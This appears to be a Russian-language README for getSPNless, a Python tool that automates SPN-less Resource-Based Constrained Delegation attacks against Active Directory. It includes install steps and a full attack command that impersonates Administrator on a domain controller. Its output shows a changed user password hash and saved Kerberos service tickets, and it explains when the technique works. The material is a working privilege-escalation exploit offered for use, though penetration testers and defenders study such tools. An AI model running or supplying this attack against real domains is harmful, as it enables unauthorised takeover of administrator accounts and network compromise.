
Инструмент на Python для автоматического выполнения атак RBCD без SPN.

Инструмент на Python для получения билетов службы Kerberos с использованием техники SPN-less. Основано на Exploiting RBCD Using a Normal User Account.
Этот инструмент использует проект impacket.
Эти инструменты совместимы только с Python 3.5+. Клонируйте репозиторий с GitHub, установите зависимости и всё будет готово:
git clone https://github.com/jarnovandenbrink/getSPNless.git
cd getSPNless
python3 -m pip install .
Рекомендуется использовать virtualenv.
python3 getSPNless.py -spn cifs/DC01.pwn.local -dc-ip 192.168.2.64 -impersonate Administrator pwn.local/low:'Somepass1'
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[*] Requesting a TGT
[*] Calculating RC4 value of the provided password
[*] NT Hash: :3ac433014b4d5b1b4bc8a5350153ea93
[*] Saving ticket in low.ccache
[*] Ticket Session Key: 37ff4701394ef659bdd724e5dca5c00f
[*] Changing the password of pwn.local\low
[*] Connecting to DCE/RPC as pwn.local\low
[*] Password was changed successfully.
[!] User might need to change their password at next logon because we set hashes (unless password never expires is set).
[*] Impersonating Administrator
[*] Requesting S4U2self+U2U
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@[email protected]
[*] To revert the password, run: changepasswd.py pwn.local/low:[email protected] -hashes :37ff4701394ef659bdd724e5dca5c00f -newpass Somepass1
Альтернативно можно использовать NT-хэш. Обратите внимание, что при использовании NT-хэша восстановление пароля возможно только в том случае, если для учётной записи пользователя установлен флаг «password never expires».
Этот инструмент предоставляет метод обхода требования учётной записи машины при выполнении атак RBCD. Текущая проблема при выполнении RBCD с учётной записью пользователя заключается в том, что KDC не знает, какой ключ шифрования использовать для билета. Этот инструмент обходит это ограничение, запрашивая Kerberos TGT, извлекая сессионный ключ билета и изменяя NT-хэш пользователя. С помощью S4U2Self+U2U и S4U2Proxy всё ещё возможно получить билет службы. Лично я предпочёл бы использовать учётные записи машин или shadow credentials с PKINIT/UnPAC-the-Hash вместо SPN-less RBCD. Однако это хорошая альтернатива, когда MachineAccountQuota установлен в 0, нет доступного ADCS или отключён PKINIT. Обратите внимание, что атака не сработает, если отключён тип шифрования RC4 Kerberos. Вы можете проверить это, поискав тип Kerberos 23 (Etype 23).
Этот проект был разработан частично во время моей работы в Cyber Cloud, а частично в моё личное время. Спасибо Cyber Cloud за предоставленное время для разработки и исследования этой работы.